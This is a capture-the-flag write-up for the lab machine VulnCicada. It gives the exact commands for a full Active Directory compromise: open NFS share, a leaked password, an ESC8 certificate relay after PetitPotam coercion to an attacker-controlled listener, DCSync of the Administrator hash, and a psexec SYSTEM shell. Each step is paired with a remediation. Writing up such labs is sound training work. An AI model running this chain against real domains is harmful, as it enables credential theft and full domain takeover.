VulnCicada
Summary
I found that the domain controller of cicada.vl published its user-profile share over NFS to everyone with no authentication. A screenshot stored in one user's Documents folder displayed a plaintext password, yielding a valid low-privileged domain account. Because NTLM is disabled domain-wide, all further access used Kerberos.
The certificate authority's HTTP web-enrollment endpoint accepted machine authentication relayed over Kerberos (ESC8), so coercing the domain controller to authenticate back to my own listener produced a certificate for the DC's own machine account. That certificate's Kerberos material was used to replicate (DCSync) the domain Administrator's password hash, and that hash was then used to open a SYSTEM shell on the domain controller - full domain compromise, with both flags read from the Administrator desktop.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for Rosie.Powell>"Some commands also carry a value in angle brackets — <listener-name> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Add host aliases required for Kerberos name resolution.
$ echo "$TARGET cicada.vl DC-JPQ225.cicada.vl" | sudo tee -a /etc/hostsFull port and service scan.
$ nmap -p- --min-rate 2000 -sC -sV $TARGETLists the world-accessible /profiles export.
$ showmount -e $TARGETFixRemove the unauthenticated NFS export of user profile dataCritical
Exact commands 2
Mount the open export (no auth required).
$ sudo mkdir -p /mnt/profiles && sudo mount -t nfs -o rw $TARGET:/profiles /mnt/profilesRetrieve and view the screenshot to read the exposed password.
$ cp /mnt/profiles/Rosie.Powell/marketing.png . && xdg-open marketing.pngExact commands 2
Request a Kerberos TGT; the faketime offset compensates the DC's ~7h clock skew.
$ faketime -f '-25200s' impacket-getTGT cicada.vl/Rosie.Powell:$PASSWORD -dc-ip $TARGETKerberos-authenticated SMB share enumeration.
$ KRB5CCNAME=Rosie.Powell.ccache faketime -f '-25200s' nxc smb DC-JPQ225.cicada.vl -u Rosie.Powell -p $PASSWORD -k --sharesFixEliminate plaintext credentials stored in user filesHigh
Exact commands 4
Confirms Web Enrollment over HTTP (ESC8) on the CA.
$ certipy find -target DC-JPQ225.cicada.vl -u Rosie.Powell@cicada.vl -p $PASSWORD -k -vulnerable -stdoutPoint a DNS name at I so the DC's coerced auth lands there.
$ bloodyAD -u Rosie.Powell -p $PASSWORD -d cicada.vl -k --host DC-JPQ225.cicada.vl add dnsRecord <listener-name> $ATTACKER_IPStart the relay listener on 0.0.0.0:445 against the CA's web enrollment.
$ certipy relay -target 'http://dc-jpq225.cicada.vl/' -template DomainControllerCoerce the DC into authenticating back to the relay, yielding dc-jpq225.pfx.
$ faketime -f '-25200s' nxc smb DC-JPQ225.cicada.vl -u Rosie.Powell -p $PASSWORD -k -M coerce_plus -o LISTENER=<listener-name> METHOD=PetitPotamFixDisable or secure HTTP certificate web enrollment (ESC8)Critical
Exact commands 2
Exchange the relayed cert for a dc-jpq225$ TGT (ccache) and NT hash.
$ certipy auth -pfx dc-jpq225.pfx -dc-ip $TARGETDCSync the Administrator account using the machine account's replication rights.
$ KRB5CCNAME=dc-jpq225.ccache impacket-secretsdump -k -no-pass cicada.vl/dc-jpq225\$@dc-jpq225.cicada.vl -just-dc-user administratorFixRestrict and monitor Directory Replication (DCSync) rightsCritical
Exact commands 3
Open a SYSTEM shell using the DCSync'd Administrator hash over Kerberos.
$ faketime -f '-25200s' impacket-psexec -k -no-pass -hashes :<admin-NT-hash> 'cicada.vl/Administrator@DC-JPQ225.cicada.vl'Prove access, then read the user flag (placeholder <user.txt>).
$ whoami & type C:\Users\Administrator\Desktop\user.txt
nt authority\systemRead the root flag (placeholder <root.txt>).
$ type C:\Users\Administrator\Desktop\root.txtFixLimit lateral movement via SMB admin shares and monitor remote service creationHigh
Attack patterns used
The transferable techniques behind this compromise.
AD CS Abuse (ESC1–ESC8)Active Directory · CertificatesT1649
What it is
Active Directory Certificate Services can be abused when certificate templates or the CA are misconfigured. The ESC family (ESC1: enrollee-supplied SAN; ESC8: NTLM relay to the web-enrollment endpoint; etc.) lets an unauthorised user obtain a certificate that authenticates as a higher-privileged user, then use it for Kerberos PKINIT to get that user's TGT.
Why it works
Certificates are long-lived authentication material; a single permissive template (ENROLLEE_SUPPLIES_SUBJECT + client-auth EKU + low enroll rights) is enough to mint an admin identity. Tools certipy/Certify find and exploit these. Remediate per the SpecterOps 'Certified Pre-Owned' guidance.
Read more
DCSyncActive Directory · Credential AccessT1003.006
What it is
DCSync abuses the Directory Replication Service (DRSUAPI) protocol that Domain Controllers use to replicate data. A principal holding the Replicating Directory Changes rights can ask a DC to replicate password hashes for any account — including krbtgt — without touching LSASS, e.g. secretsdump.py -just-dc. Recovering krbtgt enables Golden Tickets.
Why it works
Replication rights are meant only for DCs and a few admin roles; over-delegation (or compromise of a privileged account) lets an unauthorised user impersonate a DC. Remediate by auditing who holds replication rights and monitoring DRSUAPI requests from non-DC hosts.
Read more
Exposed services
| 53/tcp | dns recon-sweep-discovered |
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 88/tcp | unknown recon-sweep-discovered |
| 111/tcp | rpc recon-sweep-discovered |
| 135/tcp | rpc recon-sweep-discovered |
| 139/tcp | smb recon-sweep-discovered |
| 389/tcp | ldap recon-sweep-discovered |
| 445/tcp | microsoft-ds |
| 464/tcp | unknown recon-sweep-discovered |
| 593/tcp | http recon-sweep-discovered |
| 636/tcp | ldap recon-sweep-discovered |
| 2049/tcp | mountd 1-3 (RPC #100005) |
| 3268/tcp | ldap recon-sweep-discovered |
| 3269/tcp | unknown recon-sweep-discovered |
| 3389/tcp | ms-wbt-server Microsoft Terminal Services |
| 9389/tcp | unknown recon-sweep-discovered |
| 49664/tcp | unknown recon-sweep-discovered |
| 49668/tcp | unknown recon-sweep-discovered |
| 51690/tcp | unknown recon-sweep-discovered |
| 62325/tcp | unknown recon-sweep-discovered |
| 62326/tcp | unknown recon-sweep-discovered |
| 62350/tcp | unknown recon-sweep-discovered |
| 62432/tcp | unknown recon-sweep-discovered |
| 53/udp | domain |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.